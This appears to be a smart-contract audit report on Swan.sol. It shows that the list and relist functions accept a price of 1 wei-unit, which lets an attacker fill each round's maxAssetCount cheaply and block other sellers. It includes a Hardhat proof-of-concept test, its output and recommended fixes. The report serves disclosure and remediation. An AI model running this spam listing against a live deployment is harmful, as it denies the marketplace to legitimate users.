Summary
In Swan.sol
, the list
function allows users to create new assets with various parameters, including a price parameter that lacks a minimum value constraint. As a result, users can set any ERC20-compatible token (e.g., ETH, WETH) as the price, potentially even using extremely low values. Since some tokens may require a minimum value, users could set the price to a value of 1 rather than the standard ERC20 unit (1e18). Thus, the smallest amount greater than zero is used, bypassing intended costs.
Swan::list
function:
function list(string calldata _name, string calldata _symbol, bytes calldata _desc, uint256 _price, address _buyer)
-------------------------------------------------------------------------------------------------^
external
{
@>
BuyerAgent buyer = BuyerAgent(_buyer);
(uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();
if (phase != BuyerAgent.Phase.Sell) {
revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
}
if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
}
address asset = address(swanAssetFactory.deploy(_name, _symbol, _desc, msg.sender));
listings[asset] = AssetListing({
createdAt: block.timestamp,
royaltyFee: buyer.royaltyFee(),
@> price: _price,
seller: msg.sender,
status: AssetStatus.Listed,
buyer: _buyer,
round: round
});
assetsPerBuyerRound[_buyer][round].push(asset);
transferRoyalties(listings[asset]);
emit AssetListed(msg.sender, asset, _price);
}
Swan::relist
function:
function relist(address _asset, address _buyer, uint256 _price) external {
----------------------------------------------------------^
AssetListing storage asset = listings[_asset];
if (asset.seller != msg.sender) {
revert Unauthorized(msg.sender);
}
if (asset.status != AssetStatus.Listed) {
revert InvalidStatus(asset.status, AssetStatus.Listed);
}
(uint256 oldRound,,) = BuyerAgent(asset.buyer).getRoundPhase();
if (oldRound <= asset.round) {
revert RoundNotFinished(_asset, asset.round);
}
BuyerAgent buyer = BuyerAgent(_buyer);
(uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();
if (phase != BuyerAgent.Phase.Sell) {
revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
}
uint256 count = assetsPerBuyerRound[_buyer][round].length;
if (count >= getCurrentMarketParameters().maxAssetCount) {
revert AssetLimitExceeded(count);
}
listings[_asset] = AssetListing({
createdAt: block.timestamp,
royaltyFee: buyer.royaltyFee(),
@> price: _price,
seller: msg.sender,
status: AssetStatus.Listed,
buyer: _buyer,
round: round
});
assetsPerBuyerRound[_buyer][round].push(_asset);
transferRoyalties(listings[_asset]);
emit AssetRelisted(msg.sender, _buyer, _asset, _price);
}
Due to previously discovered findings on transferRoyalties
by Lightchaser, checks against zero amounts of fees help protect some price values, but this doesn’t fully mitigate the issue.
Vulnerability
Malicious users can exploit the list
function by setting the price to the minimum possible amount (e.g., 1 or 10) instead of the expected ERC20 unit (1e18 or 10e18). This enables bad actors to list multiple assets at virtually no cost, creating a denial-of-service (DoS) situation.
Since the market parameters, including round
, roundTime
, and phase
, evolve with each listing, a malicious actor could monopolize a specific round by populating the list with their assets. Once the maxAssetCount
is reached for that round, others would be unable to list new assets until the next parameter update. This exploitation can be repeated every round, impacting any buyer’s listings.
Relevant Swan::list
function code:
@> if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
}
Relevant Swan::relist
function code:
uint256 count = assetsPerBuyerRound[_buyer][round].length;
@> if (count >= getCurrentMarketParameters().maxAssetCount) {
revert AssetLimitExceeded(count);
}
Proof of Concept
Add the following test code to Swan.test.ts
within the Swan
test suite:
describe("Swan Attack Mode", async () => {
const currRound = 0n;
it("should list 5 assets for the first round", async function () {
await listAssets(
swan,
buyerAgent,
[
[seller, PRICE1],
[seller, PRICE2],
[seller, PRICE3],
[sellerToRelist, PRICE2],
[sellerToRelist, PRICE1],
],
NAME,
SYMBOL,
DESC,
0n
);
[assetToBuy, assetToRelist, assetToFail, ,] = await swan.getListedAssets(
await buyerAgent.getAddress(),
currRound
);
expect(await token.balanceOf(seller)).to.be.equal(FEE_AMOUNT1 + FEE_AMOUNT2);
expect(await token.balanceOf(sellerToRelist)).to.be.equal(0);
});
it("should NOT allow listing more than max asset count", async function () {
await expect(swan.connect(sellerToRelist).list(NAME, SYMBOL, DESC, PRICE1, await buyerAgent.getAddress()))
.to.be.revertedWithCustomError(swan, "AssetLimitExceeded")
.withArgs(MARKET_PARAMETERS.maxAssetCount);
});
it("Assets can be listed with a minimal price of 1 unit", async () => {
let NEW_MARKET_PARAMETERS = {
withdrawInterval: minutes(10),
sellInterval: minutes(20),
buyInterval: minutes(30),
platformFee: 2n,
maxAssetCount: 2n,
timestamp: (await ethers.provider.getBlock("latest").then((block) => block?.timestamp)) as bigint,
};
await swan.connect(dria).setMarketParameters(NEW_MARKET_PARAMETERS);
const PRICE = 1;
await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE, await buyerAgent.getAddress());
await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE, await buyerAgent.getAddress());
await expect(swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE, await buyerAgent.getAddress())).to.be.revertedWithCustomError(swan, "AssetLimitExceeded");
});
});
Comment out all test cases following Sell phase #1: listing
inclusively.
Run the following command to test:
Check logs for gas usage results.
Swan
✔ should deploy swan (668ms)
✔ should create buyers (106ms)
✔ should fund buyers & sellers (62ms)
✔ should register oracles
Swan Attack Mode
✔ should list 5 assets for the first round (64ms)
✔ should NOT allow listing beyond max asset count
✔ Assets can be listed with a minimal unit price of 1 (51ms) <== this one
Impact
Malicious actors can fill listings with their own assets until the maxAssetCount
is reached, causing other users to experience a DoS.
This DoS can be performed with minimal cost of only 1 or 10 greater than zero not 1e18 or 10e18 just 1 or 10. whose 100% is still greater than 0. So fees will not be zero.
Low-cost asset creation risks overwhelming the protocol with a flood of assets, which could affect protocol performance.
Recommendations
Implement a check that verifies the price
value is non-zero and considers ERC20 precision (e.g., 18 decimals).
Enforce a minimum listing price, potentially at least 1% of the ERC20 unit. For a “Free Asset Creation” feature, include logic to prevent spam and Sybil attacks if zero fees are allowed.